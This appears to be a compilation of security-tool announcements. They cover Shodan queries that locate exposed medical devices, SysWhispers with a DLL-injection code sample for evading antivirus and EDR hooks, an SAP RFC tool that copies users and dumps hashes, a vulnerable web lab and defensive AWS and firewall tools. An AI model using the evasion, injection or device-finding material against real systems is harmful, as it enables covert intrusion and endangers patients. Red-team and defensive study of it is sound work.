"qt_medical":"http.html:'QT Medical'",
"aspel": "ASPEL",
"huvitz_optometric":"http.html:'Huvitz'",
"optovue":"Optovue",
"optos_advance":"http.title:'OptosAdvance'",
"asthma_monitoring_adamm":"http.title:'HCO Telemedicine'",
"pregnabit":"http.html:'Pregnabit'",
"prime_clinical_systems":"http.html:'Prime Clinical Systems'",
"omni_explorer":"http.title:OmniExplorer",
"avizia":"http.html:'Avizia'",
"operamed":"Operamed",
"early_sense":"http.favicon.hash:-639764351",
"tunstall":"http.html:'Tunstall'",
"clini_net":"http.html:'CliniNet®'",
"intelesens":"title:'zensoronline)) - online monitoring'",
"kb_port":"http.html:'KbPort'",
"nursecall_message_service":"http.title:'N.M.S. - Nursecall Message Service'",
"image_information_systems":"http.html:'IMAGE Information Systems'",
"agilent_technologies":"Agilent Technologies port:5025",
"praxis_portal2":"http.html:'Medigration'",
"xero_viewer":"http.title:'XERO Viewer'"

Excluded:
title:"pacemake r-id"
html:klinikinew
title:"EEG Viewer"
http.favicon.hash:-1989988507
plexus platenet
http.favicon.hash:-189701579
title:"Insulin Dosage"
pathology image seve
http.favicon.hash:538032019
title:"MsFLASH"
title:"THIP EMR"
title:"CARDIOHF"
title:"CN EMR Office"
Power2Practice
http.favicon.hash:-1982401487
Cosmed EMR
http.favicon.hash:-1747178511
title:" Premier Radiology synapse"
title:"PRIME - Electrical Resistivity Tomography"
title:"OCT II System"
http.favicon.hash:-582594220
title:"Atomic Force Microscope"
title:axeda
http.favicon.hash:-1351683412
title:"InTouch Health Log Manager"
title:"Pharma Vtiger"
title:sema4
NAVIFY
Nextech
http.html:'Radiometer Medical '
HeartStart
http.favicon.hash:-893361748

Used components

Known bugs:
  • It's version 1.0 so please raise an issue if you think you found any bug or have an idea to make it better.
  • Sometimes search page keeps the last values, so please use ctrl+shift+R to refresh the main search page
  • Debug info is left on purpose for raising an issues
  • still some problems with getting cves from shodan search results
  • Flickr infowindow size

Contribution
I really care about feedback from you. If you have any idea how to make tool better, I'm more than happy to hear it. It's also possible to upload and host the tool online, if you want to help, dm me.

TODO
  • Live monitoring
  • Offensive capabilities
  • More devices
  • More sources (Instagram?, Youtube?)
  • Integration with Nmap and plcscan
  • Extensive error checking/debugging
  • Cleanup code, delete legacy/unused dependencies js, css files
  • Keeping keys in db
  • Your ideas

Remarks
  • Tested only on Kali Linux 2019.3
  • It uses default sqlite Django database
  • Buttons in Intel tab for device do not show the progress bars, you have a results in max couple of seconds.
  • Own database button does not work, it shows that it's possible to load your own geolocation database. I haven't found better than Shodan's but let me know if you have access to one.
  • Looking for nearby Tweets works but I wasn't able to find any tweets. It may be a problem with Twitter API. Let me know if you can find anything.
  • Don't blame me for unintentional bug that might exhaust your Shodan/BinaryEdge/WHOISXMLAPI credits.
  • I'm not responsible for any damage caused by using this tool.


SysWhispers - AV/EDR Evasion Via Direct System Calls

$
0
0

SysWhispers helps with evasion by generating header/ASM files implants can use to make direct system calls.
All core syscalls are supported from Windows XP to 10. Example generated files available in example-output/.

Introduction
Various security products place hooks in user-mode APIs which allow them to redirect execution flow to their engines and detect for suspicious behaviour. The functions in ntdll.dll that make the syscalls consist of just a few assembly instructions, so re-implementing them in your own implant can bypass the triggering of those security product hooks. This technique was popularized by @Cn33liz and his blog post has more technical details worth reading.
SysWhispers provides red teamers the ability to generate header/ASM pairs for any system call in the core kernel image (ntoskrnl.exe) across any Windows version starting from XP. The headers will also include the necessary type definitions.
The main implementation difference between this and the Dumpert POC is that this doesn't call RtlGetVersion to query the OS version, but instead does this in the assembly by querying the PEB directly. The benefit is being able to call one function that supports multiple Windows versions instead of calling multiple functions each supporting one version.

Installation
> git clone https://github.com/jthuraisamy/SysWhispers.git
> cd SysWhispers
> pip3 install -r .\requirements.txt
> py .\syswhispers.py --help

Usage and Examples

Command Lines
# Export all functions with compatibility for all supported Windows versions (see example-output/).
py .\syswhispers.py --preset all -o syscalls_all

# Export just the common functions with compatibility for Windows 7, 8, and 10.
py .\syswhispers.py --preset common -o syscalls_common

# Export NtProtectVirtualMemory and NtWriteVirtualMemory with compatibility for all versions.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem

# Export all functions with compatibility for Windows 7, 8, and 10.
py .\syswhispers.py --versions 7,8,10 -o syscalls_78X

Script Output
PS C:\Projects\SysWhispers> py .\syswhispers.py --preset common --out-file syscom

, , ,_ /_ . , ,_ _ ,_ ,
_/_)__(_/__/_)__/_/_/ / (__/__/_)__/_)__(/__/ (__/_)__
_/_ /
(/ / @Jackson_T, 2019

SysWhispers: Why call the kernel when you can whisper?

Common functions selected.

Complete! Files written to:
syscom.asm
syscom.h

Before-and-After Example of Classic CreateRemoteThread DLL Injection
py .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
#include <Windows.h>

void InjectDll(const HANDLE hProcess, const char* dllPath)
{
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");

WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // Import the generated header.

void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");

NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}

Common Functions
Using the --preset common switch will create a header/ASM pair with the following functions:



Click to expand function list.
  • NtCreateProcess (CreateProcess)
  • NtCreateThreadEx (CreateRemoteThread)
  • NtOpenProcess (OpenProcess)
  • NtOpenThread (OpenThread)
  • NtSuspendProcess
  • NtSuspendThread (SuspendThread)
  • NtResumeProcess
  • NtResumeThread (ResumeThread)
  • NtGetContextThread (GetThreadContext)
  • NtSetContextThread (SetThreadContext)
  • NtClose (CloseHandle)
  • NtReadVirtualMemory (ReadProcessMemory)
  • NtWriteVirtualMemory (WriteProcessMemory)
  • NtAllocateVirtualMemory (VirtualAllocEx)
  • NtProtectVirtualMemory (VirtualProtectEx)
  • NtFreeVirtualMemory (VirtualFreeEx)
  • NtQuerySystemInformation (GetSystemInfo)
  • NtQueryDirectoryFile
  • NtQueryInformationFile
  • NtQueryInformationProcess
  • NtQueryInformationThread
  • NtCreateSection (CreateFileMapping)
  • NtOpenSection
  • NtMapViewOfSection
  • NtUnmapViewOfSection
  • NtAdjustPrivilegesToken (AdjustTokenPrivileges)
  • NtDeviceIoControlFile (DeviceIoControl)
  • NtQueueApcThread (QueueUserAPC)
  • NtWaitForMultipleObjects (WaitForMultipleObjectsEx)

Importing into Visual Studio
  1. Copy the generated H/ASM files into the project folder.
  2. In Visual Studio, go to ProjectBuild Customizations... and enable MASM.
  3. In the Solution Explorer, add the .h and .asm files to the project as header and source files, respectively.
  4. Go to the properties of the ASM file, and set the Item Type to Microsoft Macro Assembler.
  5. Ensure that the project platform is set to x64. 32-bit projects are not supported at this time.

Caveats and Limitations
  • Only 64-bit Windows is supported at this time.
  • System calls from the graphical subsystem (win32k.sys) are not supported.
  • Tested on Visual Studio 2019 (v142) with Windows 10 SDK.

Troubleshooting
  • ModuleNotFoundError in Python script.
    • Ensure that the required modules are installed with pip3 install -r requirements.txt.
  • Type redefinitions errors: a project may not compile if typedefs in syscalls.h have already been defined.
    • Ensure that only required functions are included (i.e. --preset all is rarely necessary).
    • If a typedef is already defined in another used header, then it could be removed from syscalls.h.

Credits
This script was developed by @Jackson_T but builds upon the work of many others:
Special thanks to @Dcept905 for testing and suggestions.

Related Articles and Projects


S3Tk - A Security Toolkit For Amazon S3

$
0
0

A security toolkit for Amazon S3
Another day, another leaky Amazon S3 bucket
— The Register, 12 Jul 2017
Don’t be the... next... big... data... leak

Battle-tested at Instacart

Installation
Run:
pip install s3tk
You can use the AWS CLI to set up your AWS credentials:
pip install awscli
aws configure
See IAM policies needed for each command.

Commands

Scan
Scan your buckets for:
  • ACL open to public
  • policy open to public
  • logging enabled
  • versioning enabled
  • default encryption enabled
s3tk scan
Only run on specific buckets
s3tk scan my-bucket my-bucket-2
Also works with wildcards
s3tk scan "my-bucket*"
Confirm correct log bucket(s) and prefix
s3tk scan --log-bucket my-s3-logs --log-bucket other-region-logs --log-prefix "{bucket}/"
Skip logging, versioning, or default encryption
s3tk scan --skip-logging --skip-versioning --skip-default-encryption
Get email notifications of failures (via SNS)
s3tk scan --sns-topic arn:aws:sns:...

List Policy
List bucket policies
s3tk list-policy
Only run on specific buckets
s3tk list-policy my-bucket my-bucket-2
Show named statements
s3tk list-policy --named

Set Policy
Note: This replaces the previous policy
Only private uploads
s3tk set-policy my-bucket --no-object-acl

Delete Policy
Delete policy
s3tk delete-policy my-bucket

Enable Logging
Enable logging on all buckets
s3tk enable-logging --log-bucket my-s3-logs
Only on specific buckets
s3tk enable-logging my-bucket my-bucket-2 --log-bucket my-s3-logs
Set log prefix ({bucket}/ by default)
s3tk enable-logging --log-bucket my-s3-logs --log-prefix "logs/{bucket}/"
Use the --dry-run flag to test
A few notes about logging:
  • buckets with logging already enabled are not updated at all
  • the log bucket must in the same region as the source bucket - run this command multiple times for different regions
  • it can take over an hour for logs to show up

Enable Versioning
Enable versioning on all buckets
s3tk enable-versioning
Only on specific buckets
s3tk enable-versioning my-bucket my-bucket-2
Use the --dry-run flag to test

Enable Default Encryption
Enable default encryption on all buckets
s3tk enable-default-encryption
Only on specific buckets
s3tk enable-default-encryption my-bucket my-bucket-2
This does not encrypt existing objects - use the encrypt command for this
Use the --dry-run flag to test

Scan Object ACL
Scan ACL on all objects in a bucket
s3tk scan-object-acl my-bucket
Only certain objects
s3tk scan-object-acl my-bucket --only "*.pdf"
Except certain objects
s3tk scan-object-acl my-bucket --except "*.jpg"

Reset Object ACL
Reset ACL on all objects in a bucket
s3tk reset-object-acl my-bucket
This makes all objects private. See bucket policies for how to enforce going forward.
Use the --dry-run flag to test
Specify certain objects the same way as scan-object-acl

Encrypt
Encrypt all objects in a bucket with server-side encryption
s3tk encrypt my-bucket
Use S3-managed keys by default. For KMS-managed keys, use:
s3tk encrypt my-bucket --kms-key-id arn:aws:kms:...
For customer-provided keys, use:
s3tk encrypt my-bucket --customer-key secret-key
Use the --dry-run flag to test
Specify certain objects the same way as scan-object-acl
Note: Objects will lose any custom ACL

Delete Unencrypted Versions
Delete all unencrypted versions of objects in a bucket
s3tk delete-unencrypted-versions my-bucket
For safety, this will not delete any current versions of objects
Use the --dry-run flag to test
Specify certain objects the same way as scan-object-acl

Scan DNS
Scan Route 53 for buckets to make sure you own them
s3tk scan-dns
Otherwise, you may be susceptible to subdomain takeover

Credentials
Credentials can be specified in ~/.aws/credentials or with environment variables. See this guide for an explanation of environment variables.
You can specify a profile to use with:
AWS_PROFILE=your-profile s3tk

IAM Policies
Here are the permissions needed for each command. Only include statements you need.
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Scan",
"Effect": "Allow",
"Action": [
"s3:ListAllMyBuckets",
"s3:GetBucketAcl",
"s3:GetBucketPolicy",
"s3:GetBucketLogging",
"s3:GetBucketVersioning",
"s3:GetEncryptionConfiguration"
],
"Resource": "*"
},
{
"Sid": "ScanDNS",
"Effect": "Allow",
"Action": [
"s3:ListAllMyBuckets",
"route53:ListHostedZones",
"route53:ListResourceRecordSets"
],
"Resource": "*"
},
{
"Sid": "ListPolicy",
"Effect": "Allow",
"Action": [
"s3:ListAllMyBuckets",
"s3:GetBucketPolicy"
],
"Resource": "*"
},
{
"Sid": "SetPolicy",
"Effect": "Allow",
"Action": [
"s3:PutBucketPolicy"
],
"Resource": "*"
},
{
"Sid": "DeletePolicy",
"Effect": "Allow",
"Action": [
"s3:DeleteBucketPolicy"
],
"Resource": "*"
},
{
"Sid": "EnableLogging",
"Effect": "Allow",
"Action": [
"s3:ListAllMyBuckets",
"s3:PutBucketLogging"
],
"Resource": "*"
},
{
"Sid": "EnableVersioning",
"Effect": "Allow",
"Action": [
"s3:ListAllMyBuckets",
" s3:PutBucketVersioning"
],
"Resource": "*"
},
{
"Sid": "EnableDefaultEncryption",
"Effect": "Allow",
"Action": [
"s3:ListAllMyBuckets",
"s3:PutEncryptionConfiguration"
],
"Resource": "*"
},
{
"Sid": "ResetObjectAcl",
"Effect": "Allow",
"Action": [
"s3:ListBucket",
"s3:GetObjectAcl",
"s3:PutObjectAcl"
],
"Resource": [
"arn:aws:s3:::my-bucket",
"arn:aws:s3:::my-bucket/*"
]
},
{
"Sid": "Encrypt",
"Effect": "Allow",
"Action": [
"s3:ListBucket",
"s3:GetObject",
"s3:PutO bject"
],
"Resource": [
"arn:aws:s3:::my-bucket",
"arn:aws:s3:::my-bucket/*"
]
},
{
"Sid": "DeleteUnencryptedVersions",
"Effect": "Allow",
"Action": [
"s3:ListBucketVersions",
"s3:GetObjectVersion",
"s3:DeleteObjectVersion"
],
"Resource": [
"arn:aws:s3:::my-bucket",
"arn:aws:s3:::my-bucket/*"
]
}
]
}

Access Logs
Amazon Athena is great for querying S3 logs. Create a table (thanks to this post for the table structure) with:
CREATE EXTERNAL TABLE my_bucket (
bucket_owner string,
bucket string,
time string,
remote_ip string,
requester string,
request_id string,
operation string,
key string,
request_verb string,
request_url string,
request_proto string,
status_code string,
error_code string,
bytes_sent string,
object_size string,
total_time string,
turn_around_time string,
referrer string,
user_agent string,
version_id string
)
ROW FORMAT SERDE 'org.apache.hadoop.hive.serde2.RegexSerDe'
WITH SERDEPROPERTIES (
'serialization.format' = '1',
'input.regex' = '([^ ]*) ([^ ]*) \\[(.*?)\\] ([^ ]*) ([^ ]*) ([^ ]*) ([^ ]*) ([^ ]*) \\\"([^ ]*) ([^ ]*) (- |[^ ]*)\\\" (-|[0-9]*) ([^ ]*) ([^ ]*) ([^ ]*) ([^ ]*) ([^ ]*) ([^ ]*) (\"[^\"]*\\") ([^ ]*)$'
) LOCATION 's3://my-s3-logs/my-bucket/';
Change the last line to point to your log bucket (and prefix) and query away
SELECT
date_parse(time, '%d/%b/%Y:%H:%i:%S +0000') AS time,
request_url,
remote_ip,
user_agent
FROM
my_bucket
WHERE
requester = '-'
AND status_code LIKE '2%'
AND request_url LIKE '/some-keys%'
ORDER BY 1

CloudTrail Logs
Amazon Athena is also great for querying CloudTrail logs. Create a table (thanks to this post for the table structure) with:
CREATE EXTERNAL TABLE cloudtrail_logs (
eventversion STRING,
userIdentity STRUCT<
type:STRING,
principalid:STRING,
arn:STRING,
accountid:STRING,
invokedby:STRING,
accesskeyid:STRING,
userName:String,
sessioncontext:STRUCT<
attributes:STRUCT<
mfaauthenticated:STRING,
creationdate:STRING>,
sessionIssuer:STRUCT<
type:STRING,
principalId:STRING,
arn:STRING,
accountId:STRING,
userName:STRING>>>,
eventTime STRING,
eventSource STRING,
eventName STRING,
awsRegion STRING,
sourceIpAddress STRING,
userAgent STRING,
errorCode STRING,
errorMessage STRING,
requestId STRING,
eventId STRING,
r esources ARRAY<STRUCT<
ARN:STRING,
accountId:STRING,
type:STRING>>,
eventType STRING,
apiVersion STRING,
readOnly BOOLEAN,
recipientAccountId STRING,
sharedEventID STRING,
vpcEndpointId STRING,
requestParameters STRING,
responseElements STRING,
additionalEventData STRING,
serviceEventDetails STRING
)
ROW FORMAT SERDE 'com.amazon.emr.hive.serde.CloudTrailSerde'
STORED AS INPUTFORMAT 'com.amazon.emr.cloudtrail.CloudTrailInputFormat'
OUTPUTFORMAT 'org.apache.hadoop.hive.ql.io.HiveIgnoreKeyTextOutputFormat'
LOCATION 's3://my-cloudtrail-logs/'
Change the last line to point to your CloudTrail log bucket and query away
SELECT
eventTime,
eventName,
userIdentity.userName,
requestParameters
FROM
cloudtrail_logs
WHERE
eventName LIKE '%Bucket%'
ORDER BY 1

Best Practices
Keep things simple and follow the principle of least privilege to reduce the chance of mistakes.
  • Strictly limit who can perform bucket-related operations
  • Avoid mixing objects with different permissions in the same bucket (use a bucket policy to enforce this)
  • Don’t specify public read permissions on a bucket level (no GetObject in bucket policy)
  • Monitor configuration frequently for changes

Bucket Policies
Only private uploads
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Principal": "*",
"Action": "s3:PutObjectAcl",
"Resource": "arn:aws:s3:::my-bucket/*"
}
]
}

Notes
The set-policy, enable-logging, enable-versioning, and enable-default-encryption commands are provided for convenience. We recommend Terraform for managing your buckets.
resource "aws_s3_bucket" "my_bucket" {
bucket = "my-bucket"
acl = "private"

logging {
target_bucket = "my-s3-logs"
target_prefix = "my-bucket/"
}

versioning {
enabled = true
}
}

Upgrading
Run:
pip install s3tk --upgrade
To use master, run:
pip install git+https://github.com/ankane/s3tk.git --upgrade

Docker
Run:
docker run -it ankane/s3tk aws configure
Commit your credentials:
docker commit $(docker ps -l -q) my-s3tk
And run:
docker run -it my-s3tk s3tk scan

History
View the changelog


WindowsFirewallRuleset - Windows Firewall Ruleset Powershell Scripts

$
0
0

About WindowsFirewallRuleset
  1. Rule group
  2. Traffic direction
  3. IP version (IPv4 / IPv6)
  4. Further sorted according to programs and services
  • such as for example:
  1. ICMP traffic
  2. Browser rules
  3. rules for Windows system
  4. Store apps
  5. Windows services
  6. Microsoft programs
  7. 3rd party programs
  8. broadcast traffic
  9. multicast traffic
  10. and the list goes on...
  • You can choose which rulles you want, and apply only those or apply them all with single command to your firewall.
  • All the rules are loaded into Local group policy giving you full power over default windows firewall.

This project "WindowsFirewallRuleset" is licensed under MIT license.
Subproject Indented.Net.IP (3rd party code) located in "Indented.Net.IP" subfolder is licensed under ISC license.
Subproject VSSetup (3rd party code) located in "VSSetup" subfolder is licensed under MIT license.
License, Copyright notices and all material of subprojects is in their own folder.
License and Copyright notices for this project is in project root folder
For more info see respective licences:
WindowsFirewallRuleset\LICENSE
Indented.Net.IP\LICENSE
VSSetup\LICENSE.txt

Minimum system requirements
  1. Windows 10 Pro/Enterprise
  2. Windows Powershell 5.1 Download Powershell
  3. Git (Optional) Download Git
Note that Powershell is built into Windows by default, you will probably need to install it or update on some old systems.
To be able to apply rules to older systems such as Windows 7, edit the FirewallModule.psm1 and add a new variable that defines your system version:
New-Variable -Name Platform -Option Constant -Scope Global -Value "10.0+"" is defined to target Windows 10 and above by default for all rules, for example for Windows 7, define a new variable that looks like this:
New-Variable -Name PlatformWin7 -Option Constant -Scope Global -Value "6.1"
Next you open individual ruleset scripts, and take a look which rules you want to be loaded into your firewall,
then simply replace -Platform $Platform with -Platform $PatformWin7 for each rule you want.
In VS Code for example you would simply (CTRL + F) for each script and replace all instances. very simple.
If you miss something you can delete, add or modify rules in GPO later.
Note that if you define your platform globaly (ie. $Platform = "6.1") instead of making your own variable, just replacing the string, but do not exclude unrelated rules, most of the rules will work, but ie. rules for Store Apps will fail to load.
Also ie. rules for programs and services that were introduced in Windows 10 will be most likely applied but redundant.
What this means, is, just edit the GPO later to refine your imports if you go that route.
In any case, new system or old, know that Home versions of Windows do not have GPO (Local Group Policy), therefore not possible to make use of this project.

Step by step quick start
WARNING:
  • these steps here are designed for for those who don't feel comfotable with git, Powershell or Local group policy
  • You may loose internet conectivity for some of your programs or in rare cases even lose internet conectivity completely, if that happens, you can run ResetFirewall.ps1 to reset firewall to previous state.
  • Inside the Readme folder there is a ResetFirewall.md, a guide on how to do it manually, by hand, if for some reason you're unable to run the script, or the script does not solve your problems.
  • Also note that your current/existing rules will not be deleted unless you have rules in GPO whose group name interfere with group names from this ruleset.
  • to be 100% sure please export your current GPO rules first, (if you don't know to do that, then ignore this, you don't have GPO rules)
STEPS:
  1. Right click on the Task bar and select Taskbar settings
  2. Toggle on Replace Command Prompt with Windows Powershell in the menu when I right click the start button
  3. Right click on Start button in Windows system
  4. Click Windows Powershell (Administrator) to open Powershell as Administrator (Input Admin password if needed)
  5. Type: (or copy paste commands and hit enter) Get-ExecutionPolicy and remeber what the ouput is.
  6. Type: Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted -Force
  7. Type: cd C:\
  8. Type: git clone git@github.com:metablaster/WindowsFirewallRuleset.git
  9. Type: cd WindowsFirewallRuleset
  10. Rules for programs such as internet browser, Visual Studio etc. depend on installation variables.
    Most paths are auto-searched and variables are updated, otherwise you get warning and description on how to fix the problem.
  11. Back to Powershell console and type into console: .\SetupFirewall.ps1 and hit enter (You will be asked what kind of rulesets you want)
  12. Follow prompt output, (ie. hit enter each time to proceed until done), it will take at least 10 minutes of your attention.
  13. If you encounter errors, you have several options such as, ignore the errors or fix the script that produced the error and re-run that script once again later.
  14. Once execution is done recall execution policy from step 5 and type: (ie. if previous policy was "RemoteSigned")
    Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned -Force\
  15. Now that rules are applied you may need to adjust some of them in Local Group Policy, not all the rules are enabled by default and you may want to toggle default Allow/Block behavior for some rules, rules for programs which do not exist need to be made additionally.
    See next sections for more info.

Where are my rules?
Rules are loaded into Local group policy, follow bellow steps to open local group policy.
  1. Press Windows key and type: secpol.msc
  2. Righ click on secpol.msc and click Run as administrator
  3. Expand node: Windows Defender Firewall with Advanced Security
  4. Expand node: Windows Defender Firewall with Advanced Security - Local Group Policy Object
  5. Click on either Inbound or Outbound node to view and manage the rulles you applied with Powershell script.

Applying individual rulesets
If you want to apply only specific rules there are 2 ways to do this:
  1. Execute SetupFirewall.ps1 and hit enter only for rullesets you want, otherwise type n and hit enter to skip current ruleset.
  2. Inside powershell navigate to folder containing the ruleset script you want, and execute individual Powershell script.
  3. You may want to run FirewallProfile.ps1 to apply default firewall behavior, or you can do it manually in GPO.
In both cases the script will delete all of the existing rules that match the rule group (if any), and load the rules from script into Local Group Policy.

Deleting rules
At the moment the easiest way is to select all the rules you want to delete in Local Group Policy, right click and delete.
To revert to your old firewall state, you will need to delete all the rules from GPO, and set all properties to "Not configured" when right clicking on node Windows Defender Firewall with Advanced Security - Local Group Policy Object

Manage loaded rules
There are 2 ways to manage your rules:
  1. Using Local Group Policy, this method gives you limited freedom on what you can do whith the rules, such as disabling them or changing some attributes.
  2. Editting Powershell scripts, this method gives you full control, you can improve the rules, add new ones or screw them up.
What ever your setup is, you will surelly need to perform additinal work such as adding more rules in GPO to allow programs for which rules do not exist, or to reconfigure existing rules.

Contribution or suggestions
Feel free to suggest or contribute new rules, or improvements for existing rules or scripts.
Just make sure you follow existing code style, as follows:
  1. Note that each rule uses exactly the same order or paramters split into exactly the same number of lines.
    This is so that when you need to search for something it's easy to see what is where right away.
  2. Provide documentation and official reference for your rules so that it can be easy to verify that these rules do not contain mistakes, for example, for ICMP rules you would provide a link to IANA with relevant reference document.
  3. If you would like to suggest new rules or improving existing ones, but you do not have the skills to upload an update here, please open new issue here on github and provide details prefferably with documentation.
  4. To contribute rules, it is also important that each rule contains good description of it's purpose, when a user clicks on a rule in firewall GUI he wants to see what this rule is about and easily conclude whether to enable/disable the rule or allow/block the traffic.
  5. It is also important that a rule is very specific and not generic, that means specifying protocol, IP addresses, ports, system user, interface type and other relevant information.
    for example just saying: allow TCP outbound port 80 for any address or any user or no explanation what is this supposed to allow or block is not acceptable.

More information and help
Inside the Readme folder you will find very usefull information not only about this project but also general information on how to troubleshoot firewall and network problems, or gather more relevant information.
It may answer some of your questions, you should go ahead and read it!
btw. It's recommended you read those papers here on github because of formatting and screenshots.


AWS Report - Tool For Analyzing Amazon Resources

$
0
0

AWS Report is a tool for analyzing amazon resources.

Features
  • Search iam users based on creation date
  • Search buckets public
  • Search security group with inbound rule for 0.0.0.0/0
  • Search elastic ip dissociated
  • Search volumes available
  • Search AMIs with permission public
  • Search internet gateways detached

Install requirements
pip3 install --user -r requirements.txt

Enviroment variables
IAM_MAX_ACCESS_KEY_AGE default is 60 days.

Usage
Usage: aws_report.py [OPTIONS]

Options:
--s3 Search buckets public in s3
--iam Search iam users based on creation date
--sg Search security groups with inbound rule 0.0.0.0
--elasticip Search elastic IP not associated
--volumes Search volumes available
--ami Search AMIs with permission public
--owner TEXT Defines the owner of the resources to be found
--igw Search internet gateways detached
--region TEXT Defines the region of resources
--help Show this message and exit.

Examples
python3 aws_report.py --s3
python3 aws_report.py --iam
python3 aws_report.py --owner 296193067842 --ami

Running in Docker
docker run -it -e AWS_ACCESS_KEY_ID=you-access-key -e AWS_SECRET_ACCESS_KEY=you-secret-key gmdutra/aws-report --s3

Contact
[+]Email     gmdutra.eu@gmail.com
[+]Linkedin linkedin.com/in/gmdutra
[+]Twitter twitter.com/gmdutrax


Tishna - Complete Automated Pentest Framework For Servers, Application Layer To Web Security

$
0
0
Complete Automated pentest framework for Servers, Application Layer to Web Security

Interface
  • Software have 62 Options with full automation and can be use for web security swiss knife


Tishna
  • Tishna is Web Server Security Penetration Software for Ultimate Security Analaysis
  • Kali, Parrot OS, Black Arch, Termux, Android Led TV

Appeared
  • Cyber Space (Computer Security)
  • Terror Security (Computer Security)
  • National Cyber Security Services

Brief Introduction
  • Tishna is useful in Banks, Private Organisations and Ethical hacker personnel for legal auditing.
  • It serves as a defense method to find as much as information possible for gaining unauthorised access and intrusion.
  • With the emergence of more advanced technology, cybercriminals have also found more ways to get into the system of many organizations.
  • Tishna software can audit, servers and web behaviour.
  • Tishna can perform Scanning& Enumeration as much as possible of target.
  • It’s first step to stop cyber criminals by securing your Servers and Web Application Security.
  • Tishna is false positive free, when there is something it will show no matter what, if it is not, it will give blank results rather error.

Kali Installation
  • git clone https://github.com/haroonawanofficial/Tishna.git
  • cd Tishna
  • sudo chmod u+x *.sh
  • ./Kali_Installer.sh
  • Tishna will integrate as system software
  • Dependencies will be handled automatically
  • Third party software(s)/dependencies/modules will be handled automatically

Developer


Multiscanner - Modular File Scanning/Analysis Framework

$
0
0

MultiScanner is a file analysis framework that assists the user in evaluating a set of files by automatically running a suite of tools for the user and aggregating the output. Tools can be custom built Python scripts, web APIs, software running on another machine, etc. Tools are incorporated by creating modules that run in the MultiScanner framework.
Modules are designed to be quickly written and easily incorporated into the framework. Currently written and maintained modules are related to malware analytics, but the framework is not limited to that scope. For a list of modules you can look in modules/. Descriptions and config options can be found on the Analysis Modules page.
MultiScanner also supports a distributed workflow for sample storage, analysis, and report viewing. This functionality includes a web interface, a REST API, a distributed file system (GlusterFS), distributed report storage / searching (Elasticsearch), and distributed task management (Celery / RabbitMQ). Please see Architecture for more details.

Usage
MultiScanner can be used as a command-line interface, a Python API, or a distributed system with a web interface. See the documentation for more detailed information on installation and usage.

Command-Line
Install Python (2.7 or 3.4+) if you haven't already.
Then run the following (substituting the actual file you want to scan for <file>):
$ git clone https://github.com/mitre/multiscanner.git
$ cd multiscanner
$ sudo -HE ./install.sh
$ multiscanner init
This will generate a default configuration for you. Check config.ini to see what modules are enabled. See Configuration for more information.
Now you can scan a file (substituting the actual file you want to scan for <file>):
$ multiscanner <file>
You can run the following to get a list of all of MultiScanner's command-line options:
$ multiscanner --help
Note: If you are not on a RedHat or Debian based Linux distribution, instead of running the install.sh script, install pip (if you haven't already) and run the following:
$ pip install -r requirements.txt

Python API
import multiscanner
multiscanner.config_init(filepath)
output = multiscanner.multiscan(file_list)
results = multiscanner.parse_reports(output, python=True)

Web Interface
Install the latest versions of Docker and Docker Compose if you haven't already.
$ git clone https://github.com/mitre/multiscanner.git
$ cd multiscanner
$ docker-compose up
You may have to wait a while until all the services are up and running, but then you can use the web interface by going to http://localhost:8000 in your web browser.
Note: this should not be used in production; it is simply an introduction to what a full installation would look like. See here for more details.

Documentation
For more information, see the full documentation on ReadTheDocs.



LKWA - Lesser Known Web Attack Lab

$
0
0

Lesser Known Web Attack Lab is for intermediate pentester that can test and practice lesser known web attacks such as Object Injection, XSSI, PHAR Deserialization, variables variable ..etc. Write-ups are welcome.

Installation
Just clone the git with git clone https://github.com/weev3/LKWA and move it to your web server and you are good to go.

Current Vulns
  • Blind RCE
  • XSSI
  • PHAR Deserialization
  • PHP Object Injection
  • PHP Object Injection via Cookies
  • PHP Object Injection (Object Reference)
  • SSRF
  • Variables variable


RFCpwn - An Enumeration And Exploitation Toolkit Using RFC Calls To SAP

$
0
0

An SAP enumeration and exploitationtoolkit using SAP RFC calls
This is a toolkit for demonstrating the impact of compromised service accounts.
This PoC is not for use in production environments, no guarantee of stability or support.

RFCpwn relies on the pyrfc and the libraries provided by SAP in: https://github.com/SAP/PyRFC#installation
usage: RFCpwn.py [-h] [-debug] [-ip IP] [-u Username] [-p Password]
[-c Client] [-s Sysid] [-ping] [-enum] [-usercopy]
[-user USER] [-copy COPY] [-pw PW] [-dump] [-exp]

An Impacket style enumeration and exploitation tool using SAP RFC calls

optional arguments:
-h, --help show this help message and exit
-debug Turn DEBUG output ON

Authentication:
-ip IP <targetName or address>
-u Username RFC Users Username
-p Password RFC Users Password
-c Client Client- eg.000
-s Sysid System Number- eg 00
-ping RFC Ping Command

User Abuse:
-enum Use to enumerate a specific user
-usercopy add a Dialog User
-user USER Required for -usercopy and -userenum to specify the user
-copy COPY User to be copied required for -usercopy
-pw PW password of new user for -usercopy

Hash Collection:
-dump Dump hashes use with below
